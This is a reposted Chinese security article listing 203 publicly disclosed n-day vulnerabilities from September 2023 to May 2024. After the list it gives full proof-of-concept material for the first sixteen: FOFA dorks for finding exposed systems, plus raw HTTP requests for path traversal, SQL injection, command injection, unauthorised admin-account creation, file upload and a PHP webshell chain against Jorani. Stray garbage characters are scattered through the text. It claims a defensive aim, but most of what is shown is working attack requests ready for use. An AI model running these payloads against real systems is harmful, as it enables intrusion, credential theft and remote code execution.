互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
- ~% u; l4 M$ B7 {& y/ X道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
6 t( p# H; F7 d
8 K/ m9 @. R4 y8 M. l. ~, T" ?) C发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

3 a' x$ p3 E7 x) J漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
8 r+ K$ u0 y* f5 S. g  J
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
: P* x) Z/ j7 q  X  G8 U2 R
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


声明
1 O7 M) y! p. G. W6 U9 H0 K- S
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
- O- A! E0 P* h+ S7 o  `: {2 E
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

0 `! d* o* n& j9 U+ f
- m3 _" v4 m4 A; S
3 \$ j5 `; i" F; b0 D$ t4 I目录

$ I) F- w' q; ?# Y% r5 J4 m01

4 t: d* J6 \3 d; E* k5 y1. StarRocks MPP数据库未授权访问
$ ^; O. ?+ S5 E' Z  X0 B1 Z& w2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
* ~' K3 \/ R1 b3 f' m4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
8 p6 Z9 h8 K# a6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
. q) `' N0 m2 U% A6 z5 E4 \* q8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
& V9 ], G% J/ c# y' I& I2 E10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
' o# g4 k( i3 D1 d5 }  D# j" f12. Jorani < 1.0.2 远程命令执行
$ |+ U" c. Y+ V* |& S! p3 h13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
9 g, g* T3 Q' \4 ^/ l8 l: E15. 华夏ERP getAllList信息泄露
% K/ T8 E( ?* V7 [6 ]% u1 _16. 红帆HFOffice医微云SQL注入
. E9 D% g3 w# S- d* [3 z17. 大华 DSS itcBulletin SQL 注入
( q% c/ h4 K, Y# ]18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
  m! }7 L5 y9 H20. 大华ICC智能物联综合管理平台任意文件读取
& S! e+ G, s' d& w21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
0 l2 x, `0 A- O* K23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
  r" o: [5 _- U# V( q, r# f26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
+ s+ F4 ^0 V1 c8 l* ^" B28. 用友NC grouptemplet 任意文件上传
2 S/ b) U7 C9 a+ k+ D29. 用友NC down/bill SQL注入
+ Y" g. S: M5 V* ?8 B5 ?! d! }30. 用友NC importPml SQL注入
% p0 {9 F$ r0 H( g1 a* `31. 用友NC runStateServlet SQL注入
* z1 f& F" p1 s8 C; D0 E+ h+ s32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
9 `9 a9 N* A% ~0 U, Q& x34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
4 A" N2 M. A! l) ^) H4 f38. 用友U8 Cloud smartweb2.RPC.d XXE
* o7 A3 R: x# f# V% H1 l0 ?  G39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
3 W0 Z; Q7 n1 K* l43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
+ a; f1 O3 R* t6 H  I- \45. 用友GRP-U8 ufgovbank XXE
) C# E3 J) E( g5 b7 |0 w  S8 j% Y46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 M- A2 @+ r8 d  @8 t50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
, i9 p; |- W. R; _9 {, f, Q52. 泛微E-Office json_common.php sql注入
* [5 D3 w5 v; D  v& d53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
  X% i5 x- d1 L7 b3 d( g58. 畅捷通T+ KeyInfoList.aspx sql注入
! O5 p' ^# A3 h+ J59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
. `, \+ @- t6 Z+ A8 Q62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
% |  I9 p. b1 v1 B/ ]/ G69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
9 ]- h9 c, `' P. m+ q- H! n71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
" g$ |& ~+ R4 U7 z  E8 q" |+ L72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
: A, ?7 z. Q2 l  |5 t74. 致远M3-server 6_1sp1 反序列化RCE
8 ~0 f& z! D4 _4 M) P* w* ~  v) d5 _75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
  `& v" s  l& |* o$ p76. 新开普掌上校园服务管理平台service.action远程命令执行
+ p- ^( i& J+ J9 H) K# f77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
5 O: O$ g2 j, P$ E( O79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
, C, m5 @( r; ]* N82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
# c! U, h7 i' A- Q+ b& k87. 安恒明御安全网关aaa_local_web_preview文件上传
, G& y" Z" L* N6 o- a7 [88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
/ [1 d, f- u& l0 K% M' l0 R# ]5 u91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
. s5 Q: C9 _3 L93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
) ]0 @: E& h- C; B94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
+ q1 j4 R5 T6 m. m" }95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
3 {8 N( S) ^9 k8 G  [96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
/ |5 Z& ~5 h3 U% \1 H99. Ncast盈可视高清智能录播系统busiFacade RCE
0 E& I8 ^% r- U4 @# M  h, [100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
5 p& V: s; Y$ ?- X" ~( J$ z101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
" B0 z+ m: O  r+ E* Y% s, ~103. Ivanti Pulse Connect Secure VPN XXE
! s% n5 V! ^& O" u& |104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
# ^) T# z, m  J! R105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
- E7 a6 V- F* W/ x; ~  i9 S/ f111. WordPress Plugin HTML5 Video Player SQL注入
6 c3 n) B5 _' n% q9 f, ~7 |) r3 \112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
- I; r" ?! \) @9 R1 Y114. WordPress MasterStudy LMS插件 SQL注入
# U5 ?( h7 f# M! y115. WordPress Bricks Builder <= 1.9.6 RCE
: G9 R" D5 |3 B3 R; W116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
8 `; ?) J' q% b6 d118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
3 W5 l0 G: C' A1 Q1 C/ r7 n+ J- s$ q119. 北京百绰智能S20后台sysmanageajax.php sql注入
6 r0 O/ E" m9 E- ~( S9 g) Y120. 北京百绰智能S40管理平台导入web.php任意文件上传
: ]3 Y1 ]( T( w121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
6 p8 J! n* K& N& q# Y+ G! c124. 湖南建研工程质量检测系统任意文件上传
) g6 L1 _4 ^& q, l; K' s" i125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
2 H6 @0 B' J. `8 T& u127. 广联达Linkworks DataExchange.ashx XXE
$ P0 l$ o5 ^7 ^7 C128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
  P% U  q! \9 w( a131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
; F# i: k1 b1 Z1 ?  [, w; u134. 网康NS-ASG应用安全网关index.php sql注入
: P" q& N; P4 x! O& u8 ^: z2 j135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
5 u; T7 _' X& N137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
- L1 K, R) u! v) T139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
' w% S/ j/ I# @141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
# B6 I8 o+ S8 u5 |" q143. Netis WF2780 v2.1.40144 远程命令执行
4 B8 l; i) M2 D; x% S144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
' z$ K  K" i0 t: \# t! H( g146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
' u' X1 e5 g5 ]6 |" U* k151. AJ-Report 1.4.1 pageList sql注入
; p9 l' K, L6 a" |152. Progress Kemp LoadMaster 远程命令执行
: j5 w" ^0 I2 z) M0 }6 w153. gradio任意文件读取
9 a) B5 x# O1 i+ N154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
! I' ?" I1 ^" Z" b6 P157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
* y1 D' M& ?- `9 t160. Sonatype Nexus Repository 3目录遍历与文件读取
* j3 o( h, q) Y% X. r9 a, q161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
8 g1 s8 y9 W$ J1 N1 [: U  s162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
# P! T& l- `6 J# Y- R164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
- _. h' Z; |4 F165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
: W% p" H* H1 ^( q7 v! S168. 宏景EHR OutputCode 任意文件读取
% K" H4 I: @' z9 _( u& ^6 W% c169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
2 g, j; x3 K6 I2 E172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
2 X% i7 B! L; W& Q( t: k178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
+ H2 Q; }/ }! c; v! E0 {180. 帮管客 CRM jiliyu SQL注入
8 M. o' T+ l7 O181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
9 H* A/ a8 H4 f. |- U  F183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
% h6 t7 N7 H6 {' Q) p9 m184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
0 q' O! V9 h$ M191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
* N0 A! V  F) u, R' R4 d192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
- a8 C9 r" S% d- _# M( ?- B: n9 I194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
/ h; n" H; d3 b; T197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
: P9 I8 B* W+ t5 j. s% r202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

9 z# h% k2 H" U2 j3 z) @POC列表

02
/ D2 e3 U, h8 i+ Q4 y
1. StarRocks MPP数据库未授权访问
; w, Q6 A; D$ Q% hFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
' N2 F# [( {7 }/ ]! v% {Host: URL
2 _" D4 h' Y; x+ p0 J. ?
& r4 L: h9 ~7 s) c$ ?# ^
1 u, v/ m7 s/ B' k- Z) Q2. Casdoor系统static任意文件读取
: R6 b# r+ }: B; sFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
$ ]. @/ u# }. }! ?& _# w) F* yHost: xx.xx.xx.xx:9999
3 F4 d/ |1 V2 M% n1 [User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ q4 j2 ~3 s0 e. u4 p7 O0 Y/ {Connection: close
* B* h5 v5 L8 v/ d& G* r/ ZAccept: */*
Accept-Language: en
Accept-Encoding: gzip
. [- a. E+ C4 }) R# S% a4 V* o* g

3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
3 Y6 b2 ~, |8 a8 g! ZHost: xx.xx.xx.xx


) `6 N' E+ x2 o  F4 v4 q6 s4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

5 ]2 T) t7 i& o/ e- k6 |password更改为自己的密码md5
4 N+ d2 @1 n3 e  O6 \' p" HPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
# k! M! ?( V. T( c" I/ ]
; l% r8 F0 b9 k8 K
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
; d3 W5 Q! R: P0 ~GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

# A9 ]1 L6 O4 r# |- Y8 U
6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
% W: \1 ]; v) x  E& K$ E' \9 o. mGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
7 A1 V. W# J' b9 |Host:


5 u% U7 Y# t; L7. 鸿运主动安全监控云平台任意文件下载
4 h: h' b* O' @4 AFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
( @3 m) e3 f9 t; n+ t* N

$ z( b/ n% c. G% B! L8. 斐讯 Phicomm 路由器RCE
- u; h6 M) I7 K9 b% h! CFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
+ `$ j' ^* h& g- T& {POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
. n4 ?+ E5 A0 \Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
9 @1 g4 `6 ]$ t8 B1 e+ v. A
%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

* x1 Z( V+ q: u12:00; id;
% a/ \2 A$ i1 t0 ~/ x; ~4 C------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
" R  W, d% a/ t6 A1 K7 |4 a* v
%s:
------WebKitFormBoundaryxbgjoytz
3 V3 {# U4 c7 `3 L& @9 yContent-Disposition: form-data; name="cururl2"


  y8 ]9 s1 ~) }  r( D8 S" z% S" J  q------WebKitFormBoundaryxbgjoytz--


2 V) d8 y" N) c1 c! \9. 稻壳CMS keyword 未授权SQL注入
; f# k8 X0 C: O$ r+ kFOFA：app="Doccms"
9 z/ M) c3 C- G# }$ X0 K4 F8 O  V2 c4 @% PGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
( n( v5 |0 |& P6 d
$ v% i9 d( ~: {# n$ n6 [
payload为下列语句的二次Url编码
5 z  f/ l, i$ h3 |
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

3 E+ r7 s# P) i6 q) D- V10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
" z7 {, n; s2 D9 C* YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
6 F! Z, c2 F! m- i1 \: ^Content-Length: 197
. C/ U+ U  {& P$ `: J! L* `' l6 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
. X" A* y6 p  R1 D) RAccept-Language: zh-CN,zh;q=0.9
6 f- q- t% F0 Z9 U: UConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
! x) V" j0 i( K) ~0 CContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

0 y4 v$ P/ f" O5 I  |jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
1 D7 l) |0 |; Z2 M
2 [) D: }% R5 Y% _5 I/ }
( o0 l# o: |: `. b  k6 N11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
0 ]2 U) b+ j  n/ S) L" _0 aGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
8 l+ e; N; e+ _. c  a3 o2 @Host: 127.0.0.1
$ C0 D* m# ^- {* ?! v0 f6 ZPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
/ S! g  N2 L2 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

$ v7 @: O0 r1 k. I# h
, g8 K( K; i. u' m12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
* |6 P4 k( r8 F第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip


$ I3 x! H/ v4 o5 d. U响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
3 d7 W+ l+ c; r, K1 l* tConnection: close
Cache-Control: no-store, no-cache, must-revalidate
" [$ D9 M0 B/ W) d: _2 g% c" zContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
0 T; K1 |- B, o& {+ V& |) B$ @/ Y$ yPragma: no-cache
- s( I  x# K0 M% Y3 A8 OServer: Apache/2.4.54 (Debian)
/ ^, w8 c9 Y8 G3 c  _Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
" \- F5 o% l2 P# ~Vary: Accept-Encoding
# {1 g$ `* B4 Q$ c: l
8 ^0 M  t' B1 O7 V$ O
& M3 b$ ]1 F7 u8 ?, TPOST请求，执行函数并进行base64编码
7 k& v2 H4 c1 G; T8 pPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
! B$ e( Z" o8 d1 _' i  Y" r/ ZConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

; |, W. Y) C4 Qcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

7 `% t8 G' G+ R- ^
- G* \2 {, x1 m
: K: r0 m( C" G# M& s' z6 M! P* z向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
5 h; Z# k" o5 q  R, ZGET /pages/view/log-2023-10-24 HTTP/1.1
% h' N! T, G( iHost: 192.168.190.30
* m9 L9 n! S6 `) R* g& _. Z/ ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
7 J  s- O0 U9 {9 X3 K3 N" VConnection: close
( T: ^6 S, f# s% w8 Z  gCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
- v. |; k' i; S7 D. VK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
: N% V& b' ~2 s9 k4 J- i7 cX-REQUESTED-WITH: XMLHttpRequest
% r7 {! n9 X% Y# R9 @- X! UAccept-Encoding: gzip


! M5 s( g5 G" {9 S* S1 n/ H% F$ H# v13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
( B( N2 [) X$ OGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' \2 L4 X1 _0 g. D) \$ DConnection: close
7 W) A/ j- r$ s8 ^5 B% {+ C" ?Accept: */*
, t! K6 v  b) S: L8 k/ |Accept-Encoding: gzip


14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
, \) ~! e3 m$ p/ _泄露内容包括用户名密码
; `# N  \7 g- T  J1 B4 P' kGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
8 `- k# x! t) @: W0 YHost: x.x.x.x
* a( h9 r" D. u, v" l. c1 {( Y2 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
& N5 F* y3 R. LConnection: close
Accept: */*
& W" G6 K  ^" {, b# c- H; x: U8 fAccept-Language: en
) u' [* N; d; oAccept-Encoding: gzip
$ W8 }" e* g3 t( P1 F

, ~% @6 v  [5 N3 F15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
% T/ L1 x% u2 X2 _* f. l泄露内容包括用户名密码
: ?7 Z: ^7 {. r! k' XGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
. R) {3 ?, @* X0 v8 x+ kHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
7 e) ]2 |! @4 ?" c7 h; k/ hConnection: close
  u( J/ y( L# `) `* }Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
- E# q" l4 ]; |. ~3 Q; ^& QAccept-Language: en
0 d1 J7 J$ J9 \  h4 X8 ysec-ch-ua-platform: Windows
Accept-Encoding: gzip
" N, v2 C% ]9 g8 E! P6 k
7 S3 ]! G- I! K7 C! L
16.  红帆HFOffice医微云SQL注入
4 S! c! [( k2 D1 ^; B0 dFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
; F  g- f7 Z# w8 i; b( B: l1 G) NGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
9 }; N, g: v) M& O( I) e. yHost: x.x.x.x
